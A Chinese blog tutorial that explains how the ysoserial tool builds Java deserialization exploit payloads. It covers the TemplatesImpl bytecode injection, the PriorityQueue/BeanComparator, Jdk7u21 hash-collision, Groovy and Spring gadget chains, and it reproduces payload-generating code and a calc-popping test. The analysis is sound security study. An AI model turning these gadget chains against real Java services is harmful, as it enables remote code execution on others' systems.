浅谈java反序列化工具ysoserial
前言
关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题。然而,在下载老外的ysoserial工具并仔细看看后,我发现了许多值得学习的知识。
至少能学到如下内容:
不同反序列化payload玩法灵活运用了反射机制和动态代理机制构造POC
java反序列化不仅是有Apache Commons Collections这样一种玩法。还有如下payload玩法:
CommonsBeanutilsCollectionsLogging1所需第三方库文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2 CommonsCollections1所需第三方库文件: commons-collections:3.1 CommonsCollections2所需第三方库文件: commons-collections4:4.0 CommonsCollections3所需第三方库文件: commons-collections:3.1(CommonsCollections1的变种) CommonsCollections4所需第三方库文件: commons-collections4:4.0(CommonsCollections2的变种) Groovy1所需第三方库文件: org.codehaus.groovy:groovy:2.3.9 Jdk7u21所需第三方库文件: 只需JRE版本 <= 1.7u21 Spring1所需第三方库文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE
上面标注了payload使用情况下所依赖的包,诸位可以在源码中看到,根据实际情况选择。
通过对该攻击代码的分析,可以学习java的一些有意思的知识。而且,里面写的java代码也很值得学习,巧妙运用了反射机制去解决问题。老外写的POC还是很精妙的。
准备工作
在github上下载ysoserial工具。使用maven进行编译成Eclipse项目文件,mvn eclipse:eclipse。要你联网下载依赖包,请耐心等待。如果卡住了,停止后再次执行该命令。
导入后,可以看到里面有8个payload。其中ObjectPayload是定义的接口,所有的Payload需要实现这个接口的getObject方法。下面就开始对这些payload进行简要的分析。
payload分析
1. CommonsBeanutilsCollectionsLogging1
该payload的要求依赖包挺多的,可能碰到的情况不会太多,但用到的技术是极好的。对这个payload执行的分析,请阅读参考资源第一个的分析文章。
先直接看代码:
#!javapublic Object getObject(final String command) throws Exception { final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); //Reflections.setFieldValue(comparator, "property", "newTransformer"); //这里由于比较器的代码,只能访问内部属性。所以选择outputProperties属性。 进而调用getOutputProperties方法。 @angelwhu // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue;}</object></object>
第一行代码final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);创建了TemplatesImpl类的对象,里面封装了我们需要的命令执行代码。而且是使用字节码的形式存储在对象属性中。
下面就具体分析下这个对象的产生过程。
(1) 利用TemplatesImpl类存储危险的字节码
在产生字节码时,用到了JDK中javassist类。具体了解可以参考这篇博客http://www.cnblogs.com/hucn/p/3636912.html。
下面是我编写的一个简单的样例程序,便于理解:
#!java@Testpublic void testClassPool() throws CannotCompileException, NotFoundException, IOException{ String command = "calc"; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class)); CtClass cc = pool.get(angelwhu.model.Point.class.getName()); //System.out.println(angelwhu.model.Point.class.getName()); cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); //加入关键执行代码,生成一个静态函数。 String newClassNameString = "angelwhu.Pwner" + System.nanoTime(); cc.setName(newClassNameString); CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc); cc.addMethod(mthd); cc.writeFile();}
上述代码首先获取到class定义的容器ClassPool,并找到了我自定义的Point类,由此生成了cc对象。这样就可以开始对类进行修改的任意操作了。而且这个操作是直接写字节码。这样可以绕过许多安全机制,正像工具中注释说的:
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
后面的操作便是利用我自定义的模板类Point,生成新的类名,并使用insertAfter方法插入了恶意java代码,执行命令。有兴趣的可以再详细了解这个类的用法。这里不再赘述。
这段代码运行后,会在当前目录生成字节码(class文件)。使用java反编译器可看到源码,在原始模板类中插入了恶意静态代码,而且以字节码的形式直接存储。命令行直接运行,可以执行弹出计算器的命令:
现在看看老外工具中,生成字节码的代码为:
#!javapublic static TemplatesImpl createTemplatesImpl(final String command) throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)}); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates;}
根据以上样例分析,可以清楚看见:前面几行代码,即生成了我们需要的插入了恶意java代码的字节码数据。该字节码其实可以看做是一个类(.class)文件。final byte[] classBytes = clazz.toBytecode();将其转成了二进制数据进行存储。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});这里又来到了一个有趣知识,那就是java反射机制的强大。ysoserial工具封装了使用反射机制对对象的一些操作,可以直接借鉴。
具体可以看看其源码,这里在工具中经常使用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,便是使用反射机制,将obj对象的fieldName属性赋值为value。反射机制的强大之处在于:
可以动态对对象的私有属性进行改变赋值,即:private修饰的属性。动态生成任意类对象。
于是,我们便将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类生成的对象templates中的_bytecodes属性,_name属性,_tfactory属性赋值成我们希望的值。
重点在于_bytecodes属性,里面存储了我们的恶意java代码。现在的问题便是:如何触发加载我们的恶意java字节码?
(2) 触发TemplatesImpl类加载_bytecodes属性中的字节码
在TemplatesImpl类中存在执行链:
#!javaTemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码 ... Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。 </clinit>
这在ysoserial工具中的注释中是可以看到的。在源码中,我们从TemplatesImpl.getOutputProperties()开始跟踪,不难发现上面的执行链。最终会在getTransletInstance方法中看到如下触发加载自定义ja字节码部分的代码:
#!javaprivate Translet getTransletInstance()throws TransformerConfigurationException { ............. if (_class == null) defineTransletClasses();//通过ClassLoader加载字节码,存储在_class数组中。 // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建实例,触发恶意代码。 ............
在defineTransletClasses()方法中,会加载我们之前存储在_bytecodes属性中的字节码(可以看做类文件),进而返回类的Class对象,存储在_class数组中。下面是调试时候的截图:
可以看到在defineTransletClasses()后,得到类的Class对象。然后会执行newInstance()操作,新建一个实例,这样便触发了我们插入的静态恶意java代码。如果接着单步执行,便会弹出计算器。
通过以上分析,可以看到:
只要能够自动触发TemplatesImpl.getOutputProperties()方法执行,我们就能达到目的了。 (3) 利用BeanComparator比较器触发执行
我们接着看payload的代码:
#!javafinal BeanComparator comparator = new BeanComparator("lowestSetBit");// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);// stub data for replacement laterqueue.add(new BigInteger("1"));queue.add(new BigInteger("1"));</object></object>
很简单,将PriorityQueue(优先级队列)插入两个元素,而且需要一个实现了Comparator接口的比较器,对元素进行比较,并对元素进行排队处理。具体可以看看PriorityQueue类的readObject()方法。
#!javaprivate void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ........... queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify();}
从对象反序列化过程原理,可以知道会首先调用该对象readObject()。当然在序列化过程中会首先调用该对象的writeObject()方法。这两个方法可以对比着看,方便理解。
首先,在序列化PriorityQueue类实例时,会依次读取队列中的对象,并放到数组中进行存储。queue[i] = s.readObject();然后,进行排序操作heapify();。最终会到达这里,调用比较器的compare()方法,对元素间进行比较。
#!javaprivate void siftDownUsingComparator(int k, E x) { ......................... if (comparator.compare(x, (E) c) <= 0) break; .........................}
这里传进去的,便是BeanComparator比较器:位于commons-beanutils包。
于是,看看比较器的compare方法。
#!javapublic int compare( T o1, T o2 ) { .................. Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); .................. }
o1,o2便是要比较的两个对象,property即我们需要比较对象中的属性(可控)。一开始property赋值为lowestSetBit,后来改成真正需要的outputProperties属性。
PropertyUtils.getProperty( o1, property )顾名思义,便是取出o1对象中property属性的值。而实际上会去调用o1.getProperty()方法得到property属性值。
到这里,可以画上完美的一个圈了。我们只需将前面构造好的TemplatesImpl对象添加到PriorityQueue(优先级队列)中,然后设置比较器为BeanComparator("outputProperties")即可。
那么,在反序列化过程中,会自动调用TemplatesImpl.getOutputProperties()方法。执行命令了。
个人总结观点:
只需要想办法:自动调用TemplatesImpl的getOutputProperties方法。或者TemplatesImpl.newTransformer()即能自动加载字节码,触发恶意代码。这也在其他payload中经常用到。 触发原理:提供会自动调用比较器的容器。如:将PriorityQueue换成TreeSet容器,也是可以的。
为了在生成payload时,能够正常运行。在代码中,先象征性地加入了两个BigInteger对象。
后面使用反射机制,将comparator中的属性和queue容器存储的对象都改成我们需要的属性和对象。
否则,在生成payload时,便会弹出计算器,抛出异常,无法正常执行了。测试如下:
2. Jdk7u21
该payload其实是JAVA SE的一个漏洞,ysoserial工具注释中有链接:https://gist.github.com/frohoff/24af7913611f8406eaf3。该payload不需要使用任何第三方库文件,只需官方提供的JDK即可,这个很方便啊。 不知Jdk7u21以后怎么补的,先来看看它的实现。
在介绍完上面这个payload后,再来看这个可以发现:CommonsBeanutilsCollectionsLogging1借鉴了Jdk7u21的利用方法。
同样,Jdk7u21开始便创建了一个存储了恶意java字节码数据的TemplatesImpl类对象。接下来就是怎么触发的问题了:如何自动触发TemplatesImpl的getOutputProperties方法。
这里首先就有一个有趣的hash碰撞问题了。
(1) "f5a5a608"的hash值为0
类的hashCode方法是返回一个独一无二的hash值(int型),去代表这个唯一对象。如果类没有重写hashCode方法,会调用原始Object类中的hashCode方法返回一个hash值。
String类的hashCode方法是这么实现的。
#!java public int hashCode() { int h = hash; int len = count; if (h == 0 && len > 0) { int off = offset; char val[] = value; for (int i = 0; i < len; i++) { h = 31*h + val[off++]; } hash = h; } return h;}
于是,就有了有趣的值:
#!javaString zeroHashCodeStr = "f5a5a608";int hash3 = zeroHashCodeStr.hashCode();System.out.println(hash3);
可以看到"f5a5a608"字符串,通过hashCode方法生成的hash值为0。这在之后的触发过程中会用到。
(2) 利用动态代理机制触发执行
Jdk7u21中使用了HashSet容器进行触发。添加了两个对象,一个是存储了恶意java字节码数据的TemplatesImpl类对象templates,一个是代理了Templates接口的proxy对象,使用了动态代理机制。
如下是Jdk7u21生成payload时的主要代码:
#!java......InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);......LinkedHashSet set = new LinkedHashSet(); // maintain orderset.add(templates);set.add(proxy);......return set;
HashSet容器,就可以当做是一个HashMap<key,new>,key便是我们存储进去的数据,对应的value都只是静态的Object对象。
同样,来看看HashSet容器中的readObject方法。
#!javaprivate void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {....................// Read in all elements in the proper order. for (int i=0; i<size; e="" pre=""><p>实际上,这里map可以看做是HashMap类生成的对象。接着追踪源码就到了关键的地方:</p><pre class="brush:java;">#!javapublic V put(K key, V value) { ......... int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); for (Entry<k,v> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此处逻辑,需要使其触发key.equals(k)操作。 .......... } } .........}</k,v></pre>
<k,v>
<p>通过以上分析下可以知道:在反序列化HashSet过程中,会依次将templates和proxy对象添加到map中。</p>
<p>接着我们需要触发代码去执行key.equals(k)这条语句。<br>
由于<strong>短路机制</strong>的原因,必须使templates.hashCode()与proxy.hashCode()计算值相等。</p>
<p>proxy使用了<strong>动态代理</strong>机制,代理了Templates接口。具体请参考其他分析老外LazyMap触发Apache Commons Collections第三库序列化问题的文章,如:参考资料2。</p>
<p>这里又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler类。<br>
简而言之,我理解为将对象proxy所有的方法调用,都改成调用sun.reflect.annotation.AnnotationInvocationHandler类的invoke()方法。</p>
<p>当我们调用proxy.hashCode()方法时,自然就会执行到了如下代码:</p>
<pre class="brush:java;">#!javapublic Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); ............ if (member.equals("hashCode")) return hashCodeImpl(); ..........private int hashCodeImpl() { int result = 0; for (Map.Entry<string, object=""> e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()为0。"f5a5a608".hashCode()=0; memberValueHashCode(e.getValue()); } return result;}</string,></pre>
<string, object="">
<p>这里的memberValues就是payload代码一开始传进去的map("f5a5a608",templates)。简要画图说明为:</p>
<p><img alt="\" src="/uploadfile/Collfiles/20160402/2016040209195853.png" style="width: 630px; height: 356.156px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f454ec70by">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;width:100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{width:20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{width:40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;width:18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
.imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;width:96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{width:100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;width:22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
.imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;width:16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;width:34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
.imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f454ec70by" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none; width: 630px; display: block;"><div class="imageplus-append-box" id="w-irrzhi">
<div id="w-irrzhi-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
</div></div></p>
<p>因此,通过动态代理机制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。<br>
这样便可以执行key.equals(k),即:proxy.equals(templates)语句。</p>
<p>接着查看源码便知:proxy.equals(templates)操作会遍历Templates接口的所有方法,并调用。如此,即可触发调用templates的getOutputProperties方法。</p>
<pre class="brush:java;">#!javaif (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]);.......................... private Boolean equalsImpl(Object o) {.......................... for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member);.......................... hisValue = memberMethod.invoke(o);//触发调用getOutputProperties方法</pre>
<p>如此,Jdk7u21的payload便也完美触发了。</p>
<p>同样,为了正常生成payload不抛出异常。先暂时存储map.put(zeroHashCodeStr, "foo");,后面替换为真正我们所需的对象:map.put(zeroHashCodeStr, templates); // swap in real object</p>
<p>总结一下:</p>
技术关键在于巧妙的利用了"f5a5a608"hash值为0。实现了hash碰撞成立。 AnnotationInvocationHandler对于equal方法的处理,可以使我们调用目标方法getOutputProperties。
<p>计算hash值部分的内容还挺有意思。有兴趣可以到参考链接中github上看看我的测试代码。</p>
3. Groovy1
<p>这个payload和最近Xstream反序列化漏洞的POC原理有相似性。请参考:http://drops.wooyun.org/papers/13243。</p>
<p>下面谈谈这个payload不一样的地方。 payload使用了Groovy库中ConvertedClosure类。该类实现了InvocationHandler和Serializable接口,同样可以用作动态代理并且可以序列化传输。代码也只有几行:</p>
<pre class="brush:java;">#!javafinal ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");final Map map = Gadgets.createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);return handler;</pre>
<p>当反序列化handler时,会调用map.entrySet方法。于是,就调用代理类ConvertedClosure的invoke方法了。最终,来到了:</p>
<pre class="brush:java;">#!javapublic Object invokeCustom(Object proxy, Method method, Object[] args)throws Throwable { if (methodName!=null && !methodName.equals(method.getName())) return null; return ((Closure) getDelegate()).call(args);//传入的是MethodClosure} </pre>
<p>然后和XStream一样,调用MethodClosure.doCall()方法。即:Groovy语法中"command".execute(),顺利执行命令。</p>
<p>个人总结:</p>
可以看到动态代理机制的强大作用。4. Spring1
<p>Spring1这个payload执行链有些复杂。按照常规步骤来分析下:</p>
<p>反序列化对象的readObject()方法为入口点进行跟踪。这里是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider。</p>
<pre class="brush:java;">#!javaprivate void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName); this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());}</pre>
<p>很明显的嗅到了感兴趣的"味道":ReflectionUtils.invokeMethod。接下来联系payload源码跟进下,或者单步调试。</p>
由于流程可能比较错综复杂,画个简单的图表示下几个对象之间的关系:
<p><img alt="\" src="/uploadfile/Collfiles/20160402/2016040209195854.png" style="width: 630px; height: 429.281px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f455twhnh7">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;width:100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{width:20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{width:40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;width:18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
.imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;width:96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{width:100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;width:22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
.imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;width:16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;width:34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
.imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f455twhnh7" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none; width: 630px; display: block;"><div class="imageplus-append-box" id="w-wltxah">
<div id="w-wltxah-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
</div></div></p>
<p>在执行ReflectionUtils.invokeMethod(method, this.provider.getType())语句时,整个执行流程如下:</p>
<pre class="brush:java;">#!javaReflectionUtils.invokeMethod() Method.invoke(typeTemplatesProxy对象) //Method为Templates(Proxy).newTransformer()</pre>
<p>这是明显的一部分调用,在执行Templates(Proxy).newTransformer()时,会有余下过程发生:</p>
<pre class="brush:java;">#!java typeTemplatesProxy对象.invoke() method.invoke(objectFactoryProxy对象.getObject(), args); objectFactoryProxy对象.getObject() AnnotationInvocationHandler.invoke() HashMap.get("getObject")//返回templates对象 Method.invoke(templates对象,args) TemplatesImpl.newTransformer() .......//触发加载含有恶意java字节码的操作</pre>
<p>这里面是对象之间的调用,还有动态代理机制,容易绕晕,就说到这里。有兴趣可以单步调试看看。</p>
<p>个人总结:</p>
Spring1为了强行代理Type接口,进行对象赋值。运用了多个动态代理机制实现,还是很巧妙的。 5. CommonsCollections
